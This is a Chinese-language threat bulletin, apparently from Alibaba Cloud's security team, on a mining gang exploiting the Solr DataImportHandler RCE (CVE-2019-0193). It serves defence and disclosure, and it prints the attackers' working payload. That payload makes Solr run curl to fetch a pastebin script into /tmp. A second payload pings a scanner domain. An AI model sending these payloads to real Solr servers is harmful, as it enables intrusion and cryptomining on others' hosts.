威胁快报|Solr dataimport成挖矿团伙新型利用方式
概述
近日,阿里云安全团队监测到挖矿团伙利用solr dataimport RCE(CVE-2019-0193)作为新的攻击方式对云上主机进行攻击,攻击成功后下载门罗币挖矿程序进行牟利。该团伙使用的恶意脚本与之前报道的“威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发”文章所提团伙使用的基本一致,因此基本认为是同一团伙所为。
除此之外,可以合理推测,该团伙一直活跃在寻找新的攻击方式来植入其恶意程序,阿里云安全团队已在第一时间对该利用方式进行了监控,并对该团伙的行为持续关注。建议用户及时排查自身主机是否受到影响,并关注阿里云安全团队的相关文章。
漏洞详情
漏洞简介
Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。Remote Code Execution via DataImportHandler(CVE-2019-0193)是apache Solr在2019.8.1日披露的漏洞预警,此漏洞发生在Solr的DataImportHandler(DIH)模块中,该模块提供从数据库或其他数据源获取数据的能力。由于Solr admin默认是不需要鉴权认证的,且DIH支持脚本操作,因此可以通过构造恶意http请求,实现远程命令执行。
如下图,在solr admin中选择dataimport选项卡,由于dataimport配置支持脚本,我们可以在配置文件中写入恶意脚本,执行curl xxx.xxx.xxx.xx指令。
如下图,我们服务端收到了solr发送的http请求,证明RCE成功。
利用分析
阿里云安全团队近日监测到有攻击者尝试利用此漏洞对阿里云上主机进行入侵。其首先发送http://xx.xx.xx.xx:8983/solr/admin/cores?action=STATUS&wt=json的请求来获取solr中core的名称。
之后对这些core_name进行遍历,尝试向corename/dataimport发送如下payload进而向https://pastebin.com/raw/jjFzjCwx请求恶意脚本。
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=<dataConfig>
+<dataSource+type="URLDataSource"/>
+<script><![CDATA[
+++++++++function+poc(){+java.lang.Runtime.getRuntime().exec("curl+-fsSL+https://pastebin.com/raw/jjFzjCwx+-o+/tmp/baby");
+++++++++}
+]]></script>
+<document>
+++<entity+name="stackoverflow"
+++++++++++url="https://stackoverflow.com/feeds/tag/solr"
+++++++++++processor="XPathEntityProcessor"
+++++++++++forEach="/feed"
+++++++++++transformer="script:poc"+/>
+</document>
</dataConfig>&name=dataimport
跟进https://pastebin.com/raw/jjFzjCwx此地址的恶意脚本,发现其与之前的分析的watchdog挖矿程序只有一处不同,且为非关键内容,之后的部分可以参见之前的文章。
除此之外,还有疑似发送ping命令来收集存在漏洞主机的恶意请求:
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=solr&dataConfig=<dataConfig>
<dataSource type="URLDataSource"/>
<script>
<![CDATA[
function poc(row) {
var Runtime = Java.type("java.lang.Runtime");
Runtime.getRuntime().exec("ping -c 1 solr_CVE_2019_0193XfSIcGVY.awvsscan119.autoverify.cn");
return row;
}
]]></script>
</dataConfig>
漏洞影响
目前,全网使用solr组件的设备数大约在1.9w台左右,阿里云安全团队建议用户及时查看自身机器状态,防止事态进一步扩大。
IOC
- https://pastebin.com/raw/jjFzjCwx
- https://pastebin.com/raw/3FDDiNwW
- https://pastebin.com/raw/KJcZ9HLL
影响版本
- solr 8.2.0 之前版本(不包含)
- 需启用DataImportHandler模块
- solr 未启用鉴权认证或采用弱密码
安全建议
- 将solr 升级至8.2.0或更新版本(8.2.0版本之后默认不开启dataconfig参数支持)
- 设置solrconfig.xml->requestHandler->config标签内内容为空
- 与DIH相关的请求采用白名单过滤
参考文章
[1] 威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发
[2] CVE-2019-0193 Remote Code Execution via DataImportHandler
本文作者:苍珀
本文为云栖社区原创内容,未经允许不得转载。
威胁快报|Solr dataimport成挖矿团伙新型利用方式的更多相关文章
- 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短
概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...
- 威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起
近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏.这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势 ...
- 威胁快报|新兴挖矿团伙借助shodan作恶,非web应用安全再鸣警钟
近日,阿里云安全发现了一个使用未授权访问漏洞部署恶意Docker镜像进行挖矿的僵尸网络团伙.我们给这一团伙取名为Xulu,因为该团伙使用这个字符串作为挖矿时的用户名. Xulu并不是第一个攻击Dock ...
- 威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库
概述 近日,阿里云安全团队监控到Bulehero挖矿蠕虫进行了版本升级,蠕虫升级后开始利用最新出现的PHPStudy后门漏洞作为新的攻击方式对Windows主机进行攻击,攻击成功后会下载门罗币挖矿程序 ...
- Solr学习笔记之3、Solr dataimport - 从SQLServer导入数据建立索引
Solr学习笔记之3.Solr导入SQLServer数据建立索引 一.下载MSSQLServer的JDBC驱动 下载:Microsoft JDBC Driver 4.0 for SQL Server ...
- 将html页改成jsp的两种方式
将html页改成jsp的两种方式 作者: 字体:[增加 减小] 类型:转载 时间:2013-08-13 将html页改成jsp有两种方法,第一种是直接修改html文件,另一种是新建jsp文件.下面为大 ...
- Oracle字符串行拆分成列的三种方式
Oracle字符串行拆分成列的三种方式 --muphy 开发过程中经常会遇到将前台多个值用逗号连接一同传递到后台查询,这个用逗号连接的字符串分隔的每个字符串分别对应Oracle数据库表的不同行. 如下 ...
- 威胁快报|首爆新型ibus蠕虫,利用热门漏洞疯狂挖矿牟利
一.背景 近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件.黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机,并将其中一台“肉鸡”作为蠕虫脚本的下载源.其余受控主机下载并运 ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
随机推荐
- android gradle 和gradle plugin
android gradle 和gradle plugin 1.安装完AS3.5.2创建完项目一运行,报了如下错误 Error:Could not find com.android.tools.bui ...
- Java-Maven-pom.xml-project-dependencies:dependencies
ylbtech-Java-Maven-pom.xml-project-dependencies:dependencies 1.java 调用ddl <!-- java 调用ddl --> ...
- 委托_deleget
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...
- Web中常见的绕过和技巧
SQL注入 十六进制绕过引号 slect table_name from information_schema.table where table_schema="sqli"; s ...
- 获取调用U9接口时报错的方法
- NEO4J全文检索架构
NEO4J全文检索架构 一.有大量存量数据(亿级以上)(并长期有增量数据进入) 二.无大量存量数据或者少量存量数据(或全部为增量数据) 三.架构方案选择优先级 以下方案,是根据实践总结的基于NEO4J ...
- python语句结构(控制语句与pass语句)
python语句结构(控制语句和pass语句) break-跳出循环:语句可以跳出for和while语句的循环体.如果你从for和while循环中终止,任何对应循环的else语块均终止 continu ...
- 移植 inetd
inetd 的选择及获取 Busybox1.1.3 提供了 inetd 支持.如果读者使用的是较低版本的不提供 inetd 的 Busybox,那么可以考虑使 用 netkit 套件来提供网络服务.强 ...
- jQuery.event.move
http://stephband.info/jquery.event.move/ Move events movestart Fired following touchmove or mousemov ...
- 查看java资源的占用
1,使用命令top -p <pid> ,显示你的java进程的内存情况,pid是你的java进程号,比如1232,按H,获取每个线程的内存情况3,找到内存和cpu占用最高的线程pid,比如 ...